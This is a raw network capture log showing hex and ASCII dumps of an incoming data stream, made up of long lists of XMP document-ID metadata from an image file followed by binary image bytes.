2022-04-08 08:02:44 UTC5544INData Raw: 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 41 34 33 37 43 36 45 41 43 32 30 36 38 31 31 41 42 30 38 45 36 42 36 30 42 43 41 34 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 41 35 41 37 45 38 35 39 33 39 30 31 31 45 35 39 41 44 38 44 37 45 37 38 36 38 35 33 43 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 41 37 33 44 43 42 37 32 46 32 30 36 38 31 31 38 30 38 33 42 41 42 41 42 44 32 46 37 30 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 41 38 30 45 30 46 45 35 42 32 30 36 38 31 31 38 37 31 46 44 32 45 37 33 30 31 43 44 33 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e
Data Ascii: 1</rdf:li> <rdf:li>xmp.did:3A437C6EAC206811AB08E6B60BCA4EAA</rdf:li> <rdf:li>xmp.did:3A5A7E85939011E59AD8D7E786853C0B</rdf:li> <rdf:li>xmp.did:3A73DCB72F2068118083BABABD2F7089</rdf:li> <rdf:li>xmp.did:3A80E0FE5B206811871FD2E7301CD3E0</rdf:li> <rdf:li>xmp.
2022-04-08 08:02:44 UTC5560INData Raw: 61 64 35 36 64 38 61 35 63 35 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 36 36 32 34 35 62 2d 64 30 66 62 2d 34 39 35 64 2d 61 30 63 30 2d 31 35 34 31 62 62 36 39 35 34 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 37 36 34 31 42 37 45 31 31 38 45 30 31 31 41 35 34 46 42 42 44 30 34 36 31 38 39 31 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 38 35 33 45 34 33 37 42 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 38 35 38 35 39 65 2d 62 64 31 61 2d 34 64 64 34 2d 61 35 66 33 2d 31 36 38 61 61 35 38 62 64 38 37 33 3c 2f 72
Data Ascii: ad56d8a5c569</rdf:li> <rdf:li>xmp.did:4966245b-d0fb-495d-a0c0-1541bb695461</rdf:li> <rdf:li>xmp.did:497641B7E118E011A54FBBD046189173</rdf:li> <rdf:li>xmp.did:49853E437B2068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:4985859e-bd1a-4dd4-a5f3-168aa58bd873</r
2022-04-08 08:02:44 UTC5576INData Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 37 34 45 37 43 31 37 31 31 39 44 45 31 31 41 32 45 43 43 43 30 36 35 45 41 35 46 38 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 37 38 36 45 41 36 36 35 37 31 45 30 31 31 39 45 38 34 46 43 37 30 42 34 35 43 34 35 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 38 33 36 39 61 63 2d 35 39 35 37 2d 34 33 36 38 2d 38 38 33 31 2d 65 33 33 63 62 30 61 35 38 66 64 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 38 41 41 36 38 34 38 38 32 30 36 38 31 31 38 32 33 46 44 31 34 44 45 32 43 38 43 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 41 37 39 30 43
Data Ascii: :li>xmp.did:5974E7C17119DE11A2ECCC065EA5F877</rdf:li> <rdf:li>xmp.did:59786EA66571E0119E84FC70B45C45EF</rdf:li> <rdf:li>xmp.did:598369ac-5957-4368-8831-e33cb0a58fd5</rdf:li> <rdf:li>xmp.did:598AA68488206811823FD14DE2C8C875</rdf:li> <rdf:li>xmp.did:59A790C
2022-04-08 08:02:44 UTC5583INData Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 30 62 66 32 62 65 38 2d 33 63 64 37 2d 34 35 66 33 2d 39 38 62 66 2d 66 64 39 66 63 39 63 35 64 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 30 64 61 38 36 65 62 2d 39 39 33 31 2d 34 33 35 33 2d 62 61 34 63 2d 31 61 31 64 35 33 63 63 32 65 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 30 30 37 39 44 38 32 39 32 30 36 38 31 31 42 31 41 34 44 35 36 36 30 30 44 39 31 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 30 32 64 30 65 30 2d 63 34 34 62 2d 61 34 34 65 2d 61 61 39 65 2d 37 64 33 63 64 37 64 35 63 37 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69
Data Ascii: li> <rdf:li>xmp.did:60bf2be8-3cd7-45f3-98bf-fd9fc9c5de3c</rdf:li> <rdf:li>xmp.did:60da86eb-9931-4353-ba4c-1a1d53cc2e16</rdf:li> <rdf:li>xmp.did:610079D829206811B1A4D56600D919C7</rdf:li> <rdf:li>xmp.did:6102d0e0-c44b-a44e-aa9e-7d3cd7d5c7ec</rdf:li> <rdf:li
2022-04-08 08:02:44 UTC5591INData Raw: 37 34 34 32 2d 38 38 37 36 2d 33 30 61 39 33 35 35 63 31 65 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 36 42 38 32 30 45 33 34 32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 36 43 46 44 45 31 33 30 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 38 31 35 34 45 36 31 36 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 38 37 43 31 42 30 44 45 32 30 36 38 31 31 39 31 30 39 46 45 39 45 38 32 38 34 31 32 35 30 3c
Data Ascii: 7442-8876-30a9355c1e90</rdf:li> <rdf:li>xmp.did:686B820E34236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:686CFDE13020681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:688154E6162068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:6887C1B0DE2068119109FE9E82841250<
2022-04-08 08:02:44 UTC5607INData Raw: 37 36 65 36 63 34 37 34 2d 32 64 62 33 2d 34 61 34 37 2d 62 35 31 66 2d 35 38 36 32 35 66 63 39 64 34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 30 36 43 37 46 41 45 31 32 30 36 38 31 31 41 33 45 46 39 33 37 43 37 31 39 35 30 31 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 31 39 45 38 35 42 36 37 31 33 45 30 31 31 41 34 30 39 41 35 43 37 35 46 43 44 35 43 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 31 41 41 45 42 38 39 32 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 31 42 34 35 37 36 32 32 32 33 36 38 31 31 41 37 45
Data Ascii: 76e6c474-2db3-4a47-b51f-58625fc9d415</rdf:li> <rdf:li>xmp.did:7706C7FAE1206811A3EF937C71950114</rdf:li> <rdf:li>xmp.did:7719E85B6713E011A409A5C75FCD5CA4</rdf:li> <rdf:li>xmp.did:771AAEB892226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:771B457622236811A7E
2022-04-08 08:02:44 UTC5623INData Raw: 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 42 46 45 44 46 30 37 36 39 37 45 30 31 31 38 38 42 32 46 31 36 42 44 42 38 42 31 38 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 44 36 35 46 36 43 30 43 32 30 36 38 31 31 39 32 42 30 42 32 46 41 38 42 37 43 44 46 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 46 37 46 45 39 39 30 37 32 30 36 38 31 31 39 35 46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f
Data Ascii: 26811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:86BFEDF07697E01188B2F16BDB8B18E6</rdf:li> <rdf:li>xmp.did:86D65F6C0C20681192B0B2FA8B7CDF71</rdf:li> <rdf:li>xmp.did:86F7FE990720681195FE8A7C98C1382D</rdf:li> <rdf:li>xmp.did:86F877B80720681192B0E90D048EA72C</
2022-04-08 08:02:44 UTC5631INData Raw: 41 32 41 32 42 36 38 31 31 42 31 41 34 44 43 41 45 39 31 41 39 46 37 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 46 32 38 33 31 45 32 31 32 30 36 38 31 31 38 43 31 34 46 39 35 44 33 43 39 34 44 44 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 46 31 35 44 36 36 32 36 41 39 31 31 31 45 30 42 32 36 32 46 31 41 42 34 35 44 46 43 34 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 46 32 41 43 43 39 37 32 32 32 30 36 38 31 31 39 32 42 30 41 36 41 45 34 39 36 31 38 35 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 46 33 45 32 44 43 37 32 44 44 30 45 31 31 31 41 38 44 37 45 36 34 32 45 32 46 46 38 45
Data Ascii: A2A2B6811B1A4DCAE91A9F771</rdf:li> <rdf:li>xmp.did:8EF2831E212068118C14F95D3C94DD26</rdf:li> <rdf:li>xmp.did:8F15D6626A9111E0B262F1AB45DFC43F</rdf:li> <rdf:li>xmp.did:8F2ACC972220681192B0A6AE49618576</rdf:li> <rdf:li>xmp.did:8F3E2DC72DD0E111A8D7E642E2FF8E
2022-04-08 08:02:44 UTC5647INData Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 34 41 38 43 35 45 43 41 37 39 45 32 31 31 38 32 38 31 46 42 33 31 38 34 32 39 30 42 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 35 31 43 34 39 34 42 33 34 32 45 34 31 31 41 41 41 37 39 45 30 31 32 34 46 38 45 33 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 36 32 42 35 35 41 46 44 37 46 45 35 31 31 39 45 45 44 46 42 32 34 43 43 45 30 37 39 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 37 39 38 38 41 42 33 37 32 30 36 38 31 31 38 32 32 41 45 38 31 44 43 42 38 45 43 44 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43
Data Ascii: :li> <rdf:li>xmp.did:9C4A8C5ECA79E2118281FB3184290BB9</rdf:li> <rdf:li>xmp.did:9C51C494B342E411AAA79E0124F8E303</rdf:li> <rdf:li>xmp.did:9C62B55AFD7FE5119EEDFB24CCE0799B</rdf:li> <rdf:li>xmp.did:9C7988AB37206811822AE81DCB8ECD93</rdf:li> <rdf:li>xmp.did:9C
2022-04-08 08:02:44 UTC5663INData Raw: 41 39 42 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 37 41 32 36 39 32 30 39 32 30 36 38 31 31 38 30 38 33 43 37 44 39 41 46 31 46 31 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 39 32 36 46 46 31 34 30 32 30 36 38 31 31 38 37 31 46 45 42 45 41 39 37 33 42 46 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 44 41 44 30 36 45 33 41 32 30 36 38 31 31 39 35 46 45 44 45 38 33 33 36 41 43 43 42 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 45 36 44 33 32 35 31 30 32 34 36 38 31 31 41 43 41 46 42 46 45 45 41 36 46 39 30 31 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e
Data Ascii: A9B34</rdf:li> <rdf:li>xmp.did:B17A2692092068118083C7D9AF1F1492</rdf:li> <rdf:li>xmp.did:B1926FF140206811871FEBEA973BF7D7</rdf:li> <rdf:li>xmp.did:B1DAD06E3A20681195FEDE8336ACCB52</rdf:li> <rdf:li>xmp.did:B1E6D32510246811ACAFBFEEA6F90131</rdf:li> <rdf:li>
2022-04-08 08:02:44 UTC5671INData Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 42 33 34 34 32 39 30 38 32 30 36 38 31 31 41 39 36 34 46 36 37 32 31 34 37 33 31 41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 42 35 42 32 43 37 30 37 32 30 36 38 31 31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 43 36 37 43 42 36 30 46 32 30 36 38 31 31 39 37 41 35 39 44 37 45 45 37 35 46 43 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 44 45 30 43 33 36 34 30 43 32 30 36 38 31 31 38 30 38 33 44 38 30 41 34 39 42 41 35 37 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69
Data Ascii: /rdf:li> <rdf:li>xmp.did:BDB3442908206811A964F67214731AFC</rdf:li> <rdf:li>xmp.did:BDB5B2C7072068118083CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:BDC67CB60F20681197A59D7EE75FCDA5</rdf:li> <rdf:li>xmp.did:BDE0C3640C2068118083D80A49BA572B</rdf:li> <rdf:li>xmp.di
2022-04-08 08:02:44 UTC5687INData Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 35 41 35 36 41 45 30 33 36 34 45 31 31 31 41 37 38 38 46 38 36 46 36 41 38 42 39 44 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 35 44 36 30 36 31 44 43 44 36 44 46 31 31 41 46 34 46 41 37 42 43 31 37 39 38 37 39 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 36 46 33 46 38 42 32 31 32 30 36 38 31 31 39 37 41 35 42 34 45 37 41 37 35 34 39 35 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 37 34 35
Data Ascii: > <rdf:li>xmp.did:D45434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D45A56AE0364E111A788F86F6A8B9DDD</rdf:li> <rdf:li>xmp.did:D45D6061DCD6DF11AF4FA7BC17987931</rdf:li> <rdf:li>xmp.did:D46F3F8B2120681197A5B4E7A75495C2</rdf:li> <rdf:li>xmp.did:D4745
2022-04-08 08:02:44 UTC5703INData Raw: 32 35 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 41 46 32 45 36 41 37 32 41 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 32 42 32 34 45 44 36 37 30 46 45 31 31 31 41 32 36 31 39 35 41 39 35 31 38 45 34 44 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 33 45 39 30 37 31 35 31 42 37 45 32 31 31 42 45 46 38 46 42 35 41 30 45 38 35 43 34 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 34 43 30 31 37 41 42 41 43 37 31 31 45 30 42 44 43 42 39 31 33 34 37 33 46 32 33 32 36 37 3c
Data Ascii: 256811994CA0E6AB1C1578</rdf:li> <rdf:li>xmp.did:EAF2E6A72A206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:EB2B24ED670FE111A26195A9518E4D7C</rdf:li> <rdf:li>xmp.did:EB3E907151B7E211BEF8FB5A0E85C46F</rdf:li> <rdf:li>xmp.did:EB4C017ABAC711E0BDCB913473F23267<
2022-04-08 08:02:44 UTC5711INData Raw: 38 37 31 46 41 38 44 32 44 30 45 30 34 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 34 39 46 41 41 39 31 34 32 30 36 38 31 31 38 37 31 46 43 39 37 37 38 45 32 33 33 41 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 35 44 39 31 38 41 31 31 32 30 36 38 31 31 39 32 42 30 38 42 45 45 32 39 43 37 35 44 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 36 45 38 44 35 46 43 37 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c
Data Ascii: 871FA8D2D0E04D77</rdf:li> <rdf:li>xmp.did:F749FAA914206811871FC9778E233A01</rdf:li> <rdf:li>xmp.did:F75D918A1120681192B08BEE29C75DD2</rdf:li> <rdf:li>xmp.did:F7627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F76E8D5FC72068118A6D9903F66D8554</rdf:l
2022-04-08 08:02:44 UTC5719INData Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 39 30 37 32 45 32 46 41 32 42 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 30 42 42 38 35 41 33 31 31 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 43 36 39 42 35 30 31 46 44 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 30 35 36 30 36 44 32 30 46 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31
Data Ascii: > <rdf:li>xmp.did:F87F1174072068118DBB9072E2FA2B24</rdf:li> <rdf:li>xmp.did:F87F1174072068118DBBE0BB85A31182</rdf:li> <rdf:li>xmp.did:F87F1174072068118DBBFC69B501FDC8</rdf:li> <rdf:li>xmp.did:F87F1174072068118F62F05606D20F39</rdf:li> <rdf:li>xmp.did:F87F1
2022-04-08 08:02:44 UTC5735INData Raw: 64 69 64 3a 61 38 35 33 32 65 62 65 2d 62 34 31 32 2d 34 37 34 36 2d 39 35 30 62 2d 32 65 31 31 64 66 33 66 66 34 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 36 36 30 37 39 35 2d 66 35 31 38 2d 34 30 31 63 2d 39 65 62 35 2d 62 65 66 61 64 35 63 62 62 31 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 39 39 33 37 66 39 2d 34 36 61 64 2d 30 64 34 33 2d 62 32 38 30 2d 33 64 34 31 34 37 62 35 36 32 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 61 32 31 38 30 39 2d 35 66 63 64 2d 30 65 34 32 2d 39 61 64 62 2d 38 63 61 35 65 38 63 62 33 31 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 66
Data Ascii: did:a8532ebe-b412-4746-950b-2e11df3ff471</rdf:li> <rdf:li>xmp.did:a8660795-f518-401c-9eb5-befad5cbb107</rdf:li> <rdf:li>xmp.did:a89937f9-46ad-0d43-b280-3d4147b56226</rdf:li> <rdf:li>xmp.did:a8a21809-5fcd-0e42-9adb-8ca5e8cb31ae</rdf:li> <rdf:li>xmp.did:a8f
2022-04-08 08:02:44 UTC5751INData Raw: 2e 64 69 64 3a 64 38 64 61 39 30 61 61 2d 37 62 35 61 2d 34 32 30 39 2d 62 63 34 30 2d 32 38 66 39 30 31 61 36 61 33 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 38 66 66 34 64 30 37 2d 65 34 32 38 2d 34 38 37 35 2d 61 66 61 64 2d 37 35 31 39 33 31 31 33 39 38 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 39 32 33 66 32 61 32 2d 62 38 34 33 2d 62 33 34 35 2d 62 30 32 39 2d 39 38 33 35 33 66 36 39 34 61 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 39 37 62 62 33 37 37 2d 64 66 32 65 2d 34 37 36 66 2d 38 31 38 62 2d 37 63 32 33 32 30 39 66 39 38 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 39
Data Ascii: .did:d8da90aa-7b5a-4209-bc40-28f901a6a36c</rdf:li> <rdf:li>xmp.did:d8ff4d07-e428-4875-afad-75193113987a</rdf:li> <rdf:li>xmp.did:d923f2a2-b843-b345-b029-98353f694a6e</rdf:li> <rdf:li>xmp.did:d97bb377-df2e-476f-818b-7c23209f98dd</rdf:li> <rdf:li>xmp.did:d9
2022-04-08 08:02:44 UTC5758INData Raw: 61 61 2d 34 39 64 30 2d 38 31 36 36 2d 39 63 64 37 62 30 62 61 35 39 30 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 33 61 65 38 38 37 61 2d 35 63 64 37 2d 65 35 34 37 2d 39 66 66 33 2d 63 66 63 61 64 32 66 34 66 33 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 31 39 64 37 38 30 2d 62 31 65 61 2d 34 36 63 33 2d 62 63 36 62 2d 64 66 65 33 34 61 64 33 39 33 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 32 63 39 65 39 39 2d 61 66 65 30 2d 39 30 34 31 2d 38 34 61 30 2d 35 63 37 65 37 32 65 32 30 66 62 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 35 33 37 62 31 66 2d 64 34 39 37 2d 36 33 34 33
Data Ascii: aa-49d0-8166-9cd7b0ba590c</rdf:li> <rdf:li>xmp.did:f3ae887a-5cd7-e547-9ff3-cfcad2f4f375</rdf:li> <rdf:li>xmp.did:f419d780-b1ea-46c3-bc6b-dfe34ad3931d</rdf:li> <rdf:li>xmp.did:f42c9e99-afe0-9041-84a0-5c7e72e20fbc</rdf:li> <rdf:li>xmp.did:f4537b1f-d497-6343
2022-04-08 08:02:44 UTC5774INData Raw: 2d c3 4a 2b a6 a4 d0 e6 71 d4 ee a0 e6 db a9 d4 ec f0 5c 27 5c dd 23 86 9f e3 8e 7b 34 74 55 1b 37 97 c8 b1 10 c7 96 33 48 a6 cf 3e dc 37 20 93 12 86 a7 1d b5 a9 c9 6b 02 cb bf 49 34 46 37 cc 62 d5 09 77 32 da e8 93 51 8d 20 ce 49 45 72 e0 d4 60 68 24 e8 b6 dd d5 fb 7d b2 3e dc 73 da a6 f5 b1 bf b6 ee d2 2f 4c 95 d2 38 63 0b 54 d5 58 e9 2d f7 04 72 3a 86 31 83 64 cd 15 b9 50 32 38 43 19 ee c0 c0 04 4d d8 a6 00 29 5b 9c eb 87 00 14 b3 86 cb 08 09 16 18 00 65 71 cf 00 14 5c dc 2a 0a 1c 86 1a 03 1a ee e6 29 91 94 1c ce 58 b4 88 6c 0e d2 f8 5a 9a 12 32 14 c5 35 24 a6 6f 5a df a4 8b 5f 1c 67 06 a9 8d 75 02 ce a4 a9 a1 23 0d 38 13 47 80 fb b3 65 3b 45 eb c7 a7 a1 89 65 38 fa 9e 9b 2e f4 7c af 53 8b 63 39 b2 b8 ef 3c e2 25 70 08 8d 30 00 d4 c3 01 b4 e0 01 88 c0
Data Ascii: -J+q\'\#{4tU73H>7 kI4F7bw2Q IEr`h$}>s/L8cTX-r:1dP28CM)[eq\*)XlZ25$oZ_gu#8Ge;Ee8.|Sc9<%p0
